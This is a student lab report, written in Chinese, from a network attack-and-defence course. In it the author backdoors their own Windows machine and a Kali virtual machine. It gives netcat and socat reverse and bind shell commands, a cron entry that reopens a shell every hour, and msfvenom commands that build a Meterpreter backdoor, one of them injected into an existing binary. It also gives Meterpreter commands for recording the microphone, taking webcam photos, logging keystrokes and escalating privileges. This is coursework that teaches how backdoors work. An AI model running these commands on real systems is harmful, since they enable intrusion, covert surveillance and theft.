20222413 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

20222414韩亥珅發表於2024-10-19

1.實驗內容

本週學習的主要內容為緩衝區溢位的shellcode技術,及其RNS、NSR、RS三種緩衝區溢位技術。此外,我還學習了在Linux系統和Windows系統中緩衝區溢位的例項和防範方法。在實驗過程中,我初步瞭解並實踐實現了後門原理,能夠使用工具生成後門入侵控制其他主機。

2.實驗目標

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)。
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。
(2)使用socat獲取主機操作Shell, 任務計劃啟動 。
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell。
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權。
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

3.實驗過程

3.1使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)。
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。
(1)獲取主機和虛擬機器的ip地址。


(2)令Windows主機為攻擊者,kali虛擬機器為被攻擊者。使用netcat獲取kali操作shell。
在Windows中輸入ncat -lp 2413監聽2413號埠。

ncat -lp 2413

在kali虛擬機器中輸入nc 172.16.178.92 2413 -e /bin/sh主動連線Windows的2413埠並執行shell。

nc 172.16.178.92 2413 -e /bin/sh


隨後在Windows端即可獲取kali的shell,輸入ls得到正確回覆。
(3)操作cron執行任務
①在kali虛擬機器執行指令

crotab -e

在檔案的末尾新增程式碼,每個小時的三十分反向連線Windows的2413視窗並執行shell。

35 * * * * /bin/netcat 172.16.178.92 2413 -e /bin/sh


②在Windows中監聽2413視窗,14:35時獲取到kali的shell

3.2使用socat獲取主機操作Shell, 任務計劃啟動 。
(1)在Windows中建立任務


(2)設定任務為在14:50時執行一次

(3)任務內容為啟動socat.exe程式,新增引數為

socat.exe tcp-listen:2413 exec:cmd.exe,pty,stderr
引數的含義為:
·呼叫socat工具,指示其在TCP上監聽指定埠的連線
·當有連線到達時,執行 cmd.exe(Windows 命令提示符)
·pty 建立一個偽終端,使遠端使用者能夠看到一個互動式的命令提示符
·stderr 將 cmd.exe 的標準錯誤輸出(stderr)也傳送到連線


(4)kali使用socat工具監聽Windows2413埠,在14:50獲取Windows的shell提示符。
(由於更換網路,之後實驗的Windows主機的ip地址更換為172.16.231.61)

3.3使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(1)使用MSF meterpreter(或其他軟體)生成可執行檔案。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 -f exe > backdoor2413.exe
·-p是指定 payload。這個 payload 是一個 Windows 平臺的 Meterpreter payload,它會與指定的主機建立反向 TCP 連線。
·Meterpreter 是 Metasploit ·Framework 的一個功能強大的 Meterpreter 會話介面。
·LHOST是本地主機ip,LPORT是本地主機埠,在本實驗中是windows的反彈回連地址和埠
·-f exe 指定輸出格式為可執行檔案(exe)
·> 將可執行檔案重定向成後面的檔名>

(2)將ncat生成的後門傳送到Windows。
①在kali虛擬機器中將後門檔案傳輸到Windows的2413埠。

nc 172.16.231.61 2413 < backdoor2413.exe

②在Windows中,使用管理員身份進入cmd,監聽2413埠並接受後門檔案。

ncat -lv 2413 > backdoor2413.exe


在Windows對於儲存位置中可以看到傳輸的檔案

(3)關閉Windows的防病毒保護後,在kali中進入msf控制檯

msfconsle

隨後在控制檯中配置

use exploit/multi/handler
設定一個多用途的監聽器(handler),該監聽器可以接收來自多個不同payload的連線
set payload windows/meterpreter/reverse_tcp
設定了 payload 為 Windows Meterpreter 反向 TCP
set LHOST 172.16.231.61
設定本地主機ip(Kali的ip),與前面生成可執行檔案的相同
set LPORT 2413
設定本地主機的埠號(Kali的port)
exploit
觸發


(4)在Windows端執行傳輸的後門檔案,在kali端可以看到進入meterpreter,成功獲取主機shell

3.4使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(1)在kali端輸入相關命令獲取實驗要求內容
①錄製Windows主機5s的音訊並生成音訊檔案

record_mic -d 5

②獲取主機攝像頭並生成照片

webcam_snap

③獲取主機截圖

screenshot

④獲取主機擊鍵記錄

keyscan_start
開啟擊鍵記錄獲取
keyscan_dump
結束擊鍵記錄獲取並輸出獲取的結果

⑤提權:

getuid獲取主機使用者
sysinfo 檢視系統命令
getprivs 儘可能提升許可權
getsystem 透過各種攻擊向量來提升系統使用者許可權


擊鍵記錄

獲取的截圖、照片、音訊檔案

提權

3.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
(1)使用MSF生成shellcode,注入到實踐1中的pwn1中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 -x /mnt/hgfs/Share/pwn1 -f elf > pwn#20222413
呼叫 Metasploit Framework 的 msfvenom 工具
指定 payload ,它將嘗試與攻擊者指定的主機建立反向 TCP 連線
設定本地主機的ip和port(Kali的)
使用 -x 選項指定一個現有的可執行檔案 pwn1 作為模板
-f elf指定輸出格式為 ELF(Linux中的可執行檔案,與windows中的PE檔案對應)
將生成的 ELF 檔案重定向並儲存為 pwn#20222413

(2)開啟msf控制檯後並進行配置(與前文配置相同)
(3)開啟另一個終端,執行pwn#20222413檔案,另一個終端進入meterperter獲取pwn1的shell

4.實驗問題回答

(1)例舉你能想到的一個後門進入到你係統中的可能方式?
點選攻擊郵件的網路連結後自動下載後門程式,下載帶有後門的風險應用程式,透過隨身碟等儲存裝置傳輸後門檔案。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
Windows:直接雙擊啟動、透過定時任務啟動後門
Linux:利用cron、反彈shell啟動後門
(3)Meterpreter有哪些給你映像深刻的功能?
獲取主機螢幕截圖、主機攝像頭、擊鍵記錄、錄音。這些功能能夠輕鬆監控被攻擊者的重要隱私,包括住所、網路瀏覽內容、賬號密碼的擊鍵記錄、日常交流內容等,其攻擊影響和可能造成的損失令我印象深刻。
(4)如何發現自己有系統有沒有被安裝後門?
①使用防毒軟體進行系統查殺
②在工作管理員中檢查是否有可疑程序
③看時間檢視器--windows日誌--系統,安全--資訊--下部的常規--看服務檔名是否有可疑程式。
④檢查是否有可疑ip在進行外網連結。

5.問題及解決方案

  • 問題1:在Windows端執行傳輸的後門檔案時,電腦的病毒查殺已經關閉,依然彈出檔案不可執行。
  • 問題1解決方案:檢查檔案後發現檔案大小為0kb,可能在傳輸過程中出現錯誤。重新傳輸後檔案大小為73kb。可以正常執行進入meterpreter
  • 問題2:Windows接收後門檔案時,系統提示無法訪問
  • 問題2解決方案:在D盤接收後門檔案時需要以管理員身份啟動cmd,否則許可權不足導致傳輸失敗。

6.學習感悟、思考等

透過實驗二,我瞭解了netcat、socat、msf meterpreter工具的基本使用方法,得知了如何進行簡單的後門攻擊。實驗的過程中我參考了學習通中老師的演示影片和網路相關資料,但在實際實驗過程中,由於電腦配置的差異,我仍然遇到了很多問題導致實驗無法順利進行。在蒐集資料解決遇到的相關問題中我也瞭解到了更多課外的網路知識,對計算機系統和網路攻防技術有了更多新的理解。這一過程中令我頭痛不已的同時也令我受益匪淺。

參考資料

https://gitee.com/wildlinux/NetSec/attach_files

相關文章